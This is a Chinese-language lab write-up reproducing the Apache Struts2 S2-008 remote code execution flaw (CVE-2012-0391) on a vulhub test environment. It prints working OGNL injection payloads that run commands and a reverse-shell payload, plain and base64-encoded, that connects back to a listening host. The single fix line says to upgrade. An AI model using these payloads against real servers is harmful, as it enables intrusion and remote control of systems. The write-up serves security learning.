CVE-2012-0391 S2-008 远程代码执行漏洞
2023-02-18 16:38:48 时间
1 漏洞信息
漏洞名称 | 远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2012-0391 |
危害等级 | 高危 |
漏洞类型 | 中间件漏洞 |
漏洞厂商 | Apache |
漏洞组件 | Struts2 |
受影响版本 | 2.1.0 <= Struts2 <= 2.3.1 |
漏洞概述 | 主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式 |
2 环境搭建
2.1 环境概述
- Linux操作系统
2.2 搭建过程
拉取镜像
cd vulhub/struts2/s2-008
docker-compose up -d
访问http://192.168.146.158:8008/devmode.action
3 漏洞复现
构造一个恶意的payload并发送。
debug=command&expression=(%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo+has+vul%27%29.getInputStream%28%29%29)
payload原型:
debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo has vul').getInputStream()))
发现成功执行了echo has vul
,说明存在该漏洞。
既然发现漏洞了,那我们可以构造一个payload,执行id命令。
debug=command&expression=(%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29)
payload原型:
debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
成功执行了id命令。
接下来开始反弹shell
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
访问漏洞url并且添加恶意payload进行抓包。
debug=command&expression=(%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29)
payload原型:
debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()))
攻击机进行监听,然后发现成功反弹了shell。
4 修复建议
1、推荐的解决方案:升级至比受漏洞影响的更高版本。
相关文章
- 关于飞桨UIE等模型预测推理时间很久的问题分析以及解决,蒸馏剪枝部署问题解决
- 硬核干货!一文掌握 binlog 、redo log、undo log
- 解决SystemExit: 2,args = parser.parse_args() 的问题,
- NLP涉及技术原理和应用简单讲解【一】:paddle(梯度裁剪、ONNX协议、动态图转静态图、推理部署)
- NLP涉及技术原理和应用简单讲解【二】:paddle(分布式训练、AMP自动混合精度训练、模型量化、模型性能分析)
- Paddle模型性能分析工具Profiler:定位瓶颈点、优化程序、提升性能
- 【二】MADDPG多智能体算法实现(parl)【追逐游戏复现】
- Spring 手动创建 bean 的两种方式
- 开源密码存储引擎 Vault 的安装与使用
- 把寒气传给每个人:详尽数据,起底华为的困境与启示
- 如何在 Spring 中解决 bean 的循环依赖
- AiTrust下预训练和小样本学习在中文医疗信息处理挑战榜CBLUE表现
- 韩炳哲眼中当代人的精神困境
- UIE_Slim满足工业应用场景,解决推理部署耗时问题,提升效能。
- Insight Enterprises EDI 850 采购订单报文详解
- 推广TrustAI可信分析:通过提升数据质量来增强在ERNIE模型下性能
- 文档级关系抽取:基于结构先验产生注意力偏差SSAN模型
- 知识蒸馏相关技术【模型蒸馏、数据蒸馏】以ERNIE-Tiny为例
- NLP领域任务如何选择合适预训练模型以及选择合适的方案【规范建议】【ERNIE模型首选】
- 样本数量不平衡问题方案(Focal Loss & Circle Loss)